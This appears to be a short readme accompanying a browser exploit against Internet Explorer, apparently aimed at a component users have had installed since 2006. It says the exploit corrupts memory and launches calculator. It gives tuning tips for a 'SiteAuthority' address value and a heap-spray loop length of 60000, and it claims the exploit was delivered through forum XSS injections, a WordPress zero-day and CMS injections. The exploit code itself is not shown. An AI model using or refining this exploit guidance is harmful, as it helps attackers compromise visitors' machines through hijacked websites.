This works not 100% - it corrupts random memory in the browser and Launches calculator with success.

Users have had this installed since 2006!  With no autoupdates :)

Modify the values in these to help keep it stable:
'SiteAuthority' - different memory address ?? - it turns values to literal address !
while (SiteAuthority.length < 60000) - Maybe larger/smaller?


Crashes IE even if it fails

Tested with Forum XSS Injections + Wordpress 0day + CMS Injections
